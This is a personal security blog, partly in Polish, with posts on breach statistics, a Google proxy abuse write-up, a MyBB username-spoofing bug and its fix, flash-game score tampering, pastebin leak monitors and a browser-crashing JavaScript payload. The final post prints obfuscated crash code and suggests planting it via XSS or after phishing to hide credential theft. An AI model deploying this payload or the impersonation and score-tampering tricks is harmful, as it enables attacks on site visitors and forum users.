Monday, 23 May 2016

Polskie statystyki dla wycieku z Tumblr


Aktualne informacje o wyciekach dotyczących Polaków publikuję też na twitterze.




W zeszłym tygodniu pojawiła się informacja o wycieku ze strony Tumblr.com pochodzącym z 2013 roku. Plik ma 73 369 245 wierszy zawierających adres email oraz hash hasła. Więcej o samym wycieku możecie przeczytać na Z3S , ja natomiast postanowiłem zrobić krótkie zestawienie dotyczące Polskich kont.

W wycieku jest zawarte 165 229 rekordów zawierających mail w polskiej domenie. Oczywiście dużo Polaków korzysta też np. gmaila, ale nie ma prostego sposobu aby ich zidentyfikować, więc skupiłem się na domenach z rozszerzeniem .pl.

Top 25 używanych domen: 





















Najpopularniejsze są maile zakładane na wp (52 104) oraz o2 (26 903), jak widać z wp skorzystało aż dwukrotnie więcej osób, niż z zajmującego drugie miejsce o2. Ciekawe jest zestawienie tego z moją poprzednią analizą wycieku z 000webhost , gdzie sytuacja była odwrotna o2 było trochę popularniejsze od wp. Można pokusić się o stwierdzenie, że wp jest bardziej popularne wśród osób mniej technicznych, przy założeniu, że z 000webhost częściej korzystały osoby techniczne niż z Tumblr. Kolejną rzeczą wartą zauważenia jest to, że w analizie wycieku z 000webhost, onet.pl znalazł się dopiero na 9 miejscu, z małą liczbą kont, natomiast tutaj jest już na miejscu 5.

Postanowiłem także sprawdzić występowanie innych Polskich charakterystycznych domen, oto wyniki:

com.pl: 917
edu.pl: 522
net.pl: 124
org.pl: 66 
gov.pl: 0  

Pojawiło się sporo maili w domenie edu.pl – 522, zakładanie konta w serwisach tego typu na maila uczelnianego nie jest najlepszym pomysłem.

Niestety ponieważ hashe są nieznanego typu prawdopodobnie MD5 z solą której nie ma w wycieku, nie przeprowadziłem badań dotyczących używanych haseł. Dodatkowo jak zawsze przypominam, że nawet najlepsze hasło może być niewystarczające w przypadku gdy korzystamy z niego w wielu serwisach. W ostatnim czasie oprócz Tumblr, został upubliczniony wyciek z Zoosk (2011 MD5) oraz Linkedin (2012 SHA1) i w nich hasła są przechowywane w znacznie łatwiejszy dla atakującego sposób. Już niedługo na blogu analiza tych wycieków.

Monday, 16 November 2015

Polskie statystyki dla wycieku z 000Webhost | polish statistics for 000Webhost leak

For english version scroll down.

Aktualne informacje o wyciekach dotyczących Polaków publikuję też na twitterze.




29  października pojawiła się informacja o włamaniu do 000webhost i wycieku 13 milionowej bazy z hasłami zapisanymi czystym tekstem. Przez kilka tygodni była ona sprzedawana za spore pieniądze, ale 2 dni temu pojawiła się publicznie. Poniżej trochę statystyk.

Łącznie w wycieku jest 15271670 rekordów (wcześniej w informacjach była mowa o 13 milionach). W tym zawarte jest 85396 rekordów zawierających mail w polskiej domenie. Oczywiście dużo Polaków też korzysta z np. gmaila, ale nie znalazłem prostego sposobu, aby wybrać ze zbioru gmaili tylko polaków, więc skupiłem się na domenach z roszerzeniem .pl. Poniżej garść statystyk.

Top 10 używanych domen:

 












Najpopularniejsze są maile zakładane na o2 i wp, oba znacznie odstają od reszty.

15 najpopularniejszych haseł polskich "informatyków"





















W tytule napisałem informatyków, ponieważ 000webhost jest firmą zajmującą się hostingiem i zazwyczaj konta tam zakładały osoby mające chociaż minimum wiedzy technicznej. Może to być powód czemu najczęstszych hasłem jest "komputer1"...


Top długości haseł














Najpopularniejsze jest hasło 9 znakowe, 5 tysięcy mniej jest haseł 10 znakowych, a dalej prawie na równo 8 i 11 znakowe. Całkiem nieźle, spodziewałem się gorszych wyników. Co ciekawe jedna osoba miała hasło o długości 254 znaków, ale w momencie jak 000webhost trzymał hasła w niezaszyfrowanej postaci, na niewiele mu się to zdało.

Podsumowanie


W porównaniu z innymi wyciekami hasła wydają się być dłuższe i trochę lepiej budowane, ale bardziej byłbym przychylny opinii, że to dlatego bo z serwisów hostingowych korzystają osoby bardziej techniczne, niż bo tak wzrosła świadomość. Niestety nawet najlepsze hasło nie zabezpieczy nas gdy właściciel strony trzyma hasła w postaci niezaszyfrowanej, pozostaje używać inne hasło w każdym miejscu i stosować mechanizmy pozwalające na zarządzanie hasłami.




On 29 October appeared information about 000webhost hack, and 13 milion db rerecords leak with plain text passwords. For few weeks it has been sold only privately, but 2 days ago it appeared publicly avaible, so I prepared some statistics dedicated to polish users.

In total there were 15271670 records (2 milion more than on the earlier news)
As a result of grep for .pl domain mails, I got 85396 records, of course there are many polish records with for example gmail domain as well, but there is no simply way to extract them from other gmails, so I focused on .pl domain.

Top 10 domains:













The most popular are o2 and wp, nextinteria use ~10k less people in the leak.

15 most popular polish It guys passwords





















I said these are IT guys passwords, as it was hosting company, probably that's the reason why we don't see password like "komputer1" on the first place.

Top 10 passwords length

 

 

 

 

 







I have decided to check also what is the most common password length. The winner is 9 characters, what is quite good, nextly 10 and the almost the same amount of 8 and 11 characters. One guy has even password 254 characters long, but that doesn't matter as 000webhost kept them in plain text...

Wednesday, 19 March 2014

When "usability outweighs the perceived risks" [Google]

Sometimes advantages of used solution outweighs potential security risk, situation like that opens wide field for black hats.

Introduction

Using Google as proxie is well known topic, ex. google translator, but recently I noticed also content downloading possibility, what creates a way more abuse possibilities.

Blogger "image from web"
When we want to add a new photo from web, there is created request like that:



 Url:
https://images-blogger-opensocial.googleusercontent.com/gadgets/proxy?url=http://1.bp.blogspot.com/-FbuVMEv0Abg/Ut10Wpi_WFI/AAAAAAAAD1I/q1Pk4RPA2e4/s1600/Screenshot_2.jpg&container=blogger&gadget=a&rewriteMime=image/*

Opening that link will start downloading image in p.txt file, from address included in "url" parameter.  In this example "http://1.bp.blogspot.com/-FbuVMEv0Abg/Ut10Wpi_WFI/AAAAAAAAD1I/q1Pk4RPA2e4/s1600/Screenshot_2.jpg". What is exactly my .jpg, just with changed extension to text file. But let's see what can we achieve by changing the "url", or  "rewriteMime" parameter.

Threats


1)Malicious file download using google servers:

We can change url parameter to any page or file and thanks to rewriteMime, (http://en.wikipedia.org/wiki/MIME) we can give "advice for browser", what to use for opening this file, despite of default .txt format. Some of the browsers use that parameter (ex. firefox). It gives possibility to send malicious file, as google servers (File is being downloaded to google servers firstly and then to client)
So lets make some tests, by downloading files from dropbox and changing their mime parameters:

.docx and .pdf - popular files, often containing exploits.
https://images-blogger-opensocial.googleusercontent.com/gadgets/proxy?url=https://dl.dropboxusercontent.com/u/17580849/testing/test.docx&container=a&gadget=b&rewriteMime=application/msword

https://images-blogger-opensocial.googleusercontent.com/gadgets/proxy?url=https://dl.dropboxusercontent.com/u/17580849/testing/test.pdf&container=a&gadget=b&rewriteMime=application/pdf


.zip that may contain malicious .exe
https://images-blogger-opensocial.googleusercontent.com/gadgets/proxy?url=https://dl.dropboxusercontent.com/u/17580849/testing/test.zip&container=a&gadget=b&rewriteMime=application/zip

Video:





In chrome and IE situation is better, they both recognize files as .txt, despite the Mime parameter change.

2)Bypass downloading content from websites blocked or marked as danger websites

Because everything is going though goggle servers, it lets to use content from sources, that maybe should be blocked for some reasons. So it can work as proxy.

3) Silence malware updates possibility

Default extension of file is .txt, but after downloading there is no problem for malware to change it to exe., so connecting this, with previously talked proxy possibility, it can be used by malware to make updates thought legit google servers.

Video: 




4) DoS using google servers
During tests, I didnt notice any security, as captcha or requests limit, so it gives possibility to make numerous requests of downloading file from target website and at the end the DoS attack. Attacker could choose big file on website, which using this method will be downloaded many times by fast google servers.


Conclusion

Web developers often encounter this kind of problem, the title which describes it, comes from email that I got from Google:



As we can see in Google opinion possible advantages are higher than the risk. Same situation we can observe right now (27.04), with Facebook, where it's possible to use notes service for downloading content from any website (cause DDos, when many people open the note) (more info: http://chr13.com/2014/04/20/using-facebook-notes-to-ddos-any-website/). The most realistic solutions seems to be monitoring such a service and trying to catch abuses.

Tuesday, 21 January 2014

Rejestracja istniejącego, lub jednoliterowego nicku [MyBB, phpBB]


Za namową Adama z Z3S postanowiłem opisać problem po polsku i przeprowadzić trochę więcej testów (dzięki za motywacje! :>).

Czym jest "zero width non jointer"
"zero width non jointer" jest znakiem o szerokości 0 pixeli, samodzielnie występuje jako niewidoczny znak. Więcej informacji: http://en.wikipedia.org/wiki/Zero-width_non-joiner

Znajdziemy go w tablicy znaków (Start > Wyszukaj "> "Tablica Znaków"),  zaznaczamy Widok zaawansowany i w wyszukiwanie wpisujemy "Zero Width Non-Joiner", naciskamy wybierz, a następnie kopiuj.




















Test popularnych for
Postanowiłem przetestować jak zadziała użycie go przy rejestracji na kilku popularnych forach.

  • Vbulletin&IpBoard 

Oba wydają się być bezpieczne,
‍‍‍Vbulletin przechodzi początkową walidacje, przy wpisywaniu, jednak po kliknięciu zarejestruj:








Podejście IpBoard bardziej mi się spododało, odrazu informuje, że można użyć tylko znaków a-zA-Z0-9





  • MyBB:

Potrzebujemy nicku 3 znakowego:






Teraz dodałem 2 znaki "zero width non jointer":






 Działa!









Ale rejestracja nicku jak 'a', może służyć jedynie zabawie, teraz spróbujmy zarejestrować istniejący nick, czemu by nie "admin" ?

Przed dodaniem znaku U+200c :




 

Po:












Zalogowano



Dodanie posta w temacie prawdziwego admina:
















Na następnym screenie, możemy zobaczyć 3 adminów i 2 użytkowników o nicku 'a':








Zgłosiłem już to do MyBB.

  • phpBB

Tym razem forum nie pozwala nam zarejestrować takiego samego, jednak nadal można nick jednoliterowy:







Zagrożenia:
Powiecie, że np. w MyBB "admin jest zielony i ma więcej gwiazdek", Prawda..., ale:
1. W prywatnej wiadomości, np z prośbą o nowe hasło, ludzie mogą tego nie zauważyć, szczególnie jeżeli użyjemy takiego samego avataru.
2. Możliwe jest stworzenie każdego nicku, więc atakujący może stworzyć konto o nicku zaufanego sprzedawcy, o takiej samej randze, a nabicie postów to nie problem.
3. Ludzie mogą popełnić błędy podczas wysyłania prywatnych wiadomości i wybrać nas, zamiast prawdziwego adresata.


Jak zaradzić:
Najlepszym sposobem, jest sposób zastowany przez IpBoard, czyli whitelist dla dozwolonych znaków, np. a-zA-Z0-9

Fix w MyBB stworzony przez Pawła Klebba:

Plik inc/datahandlers/user.php, linijka koło 73. Zamienić ją na:
$username = str_replace(array(unichr(160), unichr(173), unichr(0xCA), dec_to_utf8(8238), dec_to_utf8(8237), dec_to_utf8(8203), dec_to_utf8(8204) ), array(" ", "-", "", "", "", "", ""), $username);


Friday, 10 January 2014

Flash games security, or so called 'cheating', Part I











If you have ever been wondering how all these amazing score results in flash games are achieved, here you will find it out. I'm going to write set of articles about flash games security, this is part I and we will talk about cheating possibility during communication: client side - server.

Most of simple flash games are runned only on 'client side' and they have no communication with server until it wants to send your score to best results list. This makes it simply to cheat by changing values during that communication.

I'm going to show it step by step, we will use Tamper Data add-on for firefox which simply allows us to modify POST parameters in "real time". Of course we can use tools like Burp Suite, but for non advanced users, for this task, it's simpler to use add-on like Tamper Data.
Download:

I also set up testing environment with MyBB forum and flash games plugin 'GamesSection', I'm going to show it on pacman game, which is included by default with plugin, but it works with all the games that don't have server side control, during game.




















Before start the game we have to open Tamper Data (Tools -> Tamper Data) and we got window pop up:



















Now we can click 'Start Tamper' and start playing, its advised to close other websites, otherwise we will get many pop ups, with every tab page requests.
So we simply play game, until our lives finish:




















When we lose, website will try to save our points for the ranking, so Tamper Data will pop up:








Of course we click Tamper, and we can uncheck continue box. Request details will come:











Now in Post_Data, we have to find where scores are included, we can can do it by looking manually, or search with ctr+f for value of points we had at the end (70 in my example). It appears here in 3 places, but only last value 'gscore' is sent to ranking:






we can modify it however we want:






after all, click 'ok', it will ask us to change 'Content-Length', of course click 'ok'









if score was not additionaly checked by server, it will appear in ranking:















This method works with most of simple games with ranking and all the games in forums plugins. In next part I will show how to change values during game, by editing memory with CheatEngine, which works also with some facebook games and for example 'Unicorn Robot Attack' game.

Saturday, 7 December 2013

Pastebin monitoring

Few months ago I was thinking about public pastebins. From experience I can say many people put dumps/configs on public pastebins, just because its easy and fast. They don't think that someone can see it.
Examples from today:

All new pastebins are being published on main page, what makes the task much easier.


Looking through them can give us much information, often information that we shouldn't see. Of course opening every new one manualy is time wasting, there are a lot of useless pastebins. Here comes idea that I had few months ago, to make an automatic tool, that is opening every pastebin and analyzing content with keywords, unfortunately I haven't had time to implement it myself.
Accidentally few days ago, I found ready solution for that. Whats more the solution is open source and based on twitts, what makes it easy to follow.

It's named Dumpmon
Everything is written in python -  here you can find source on Github.

In addition it doesn't only find Acc/Db leaks, but Cisco configuration files, Google Api keys and honeypot logs as well.



At the end I would like to mention there is one more tool for similar purpose, named PastebinDorks



Unfortunately source code is not available and it doesn't show what kind of data is included in pastebin, only amount, but its worth to follow it as well.

To sum up if you are going to post data that you don't want to be seen by others, spend a little more time and use password protected solutions and if you want to be up to date with fresh leaks, follow mentioned bots ;)

Monday, 2 December 2013

DOS - Mozilla Firefox & Internet Explorer

Since some time ( I saw it at least a year ago ) there is available javascript code that cause DOS in newest versions of FF and IE. Unfortunately it doesn't work in Chrome, because each card has own process. I don't know what about Chrome or Opera, You can test it and let me know in comments. It was already reported to Mozilla long time ago ( I reported too ) but it seems they are not going to fix it.

Javascript code:
var a=String.fromCharCode(60,115,99,114,105,112,116,62,118,97,114,32,97,61,34,60,109 ,97,114,113,117,101,101,62,97,34,59,119,104,105,108,101,40,49,41,123,97,61,97,43 ,97,59,100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,97,41,59,125,60, 47,115,99,114,105,112,116,62);
while(1){
a=a+a;
document.write(a);}

For test how and if it works:
WARNING, IT WILL CRASH YOUR BROWSER, OPEN ON OWN RESPONSIBILITY
https://dl.dropboxusercontent.com/u/17580849/freez.html

How it can be useful
You can say its useless and good just for making friends angry,
not only...

1. An attacker may add this code to website, so everyone who visit it will get crash, it will make website unreachable. Probably now you think - if attacker has access to website he can just delete main page or do something simpler than crashing visitors browsers. Yes, but javascript can be used in XSS attack and then its useful.

2. Attacker can also add it after phishing attack, after password getting step. Thanks to this attacker don't have to worry to show correct messages and redirection. Whats more after running that he can add ip/browser rule, so when victim visit phishing link again, will be redirected to real page. After one crash none will think something is wrong (in ff flash plugin often crash itself) and when he visit page second time, this time there will be nothing suspicious.

3. As everywhere in IT, the only limit is imagination.

At the end, Mozilla respond: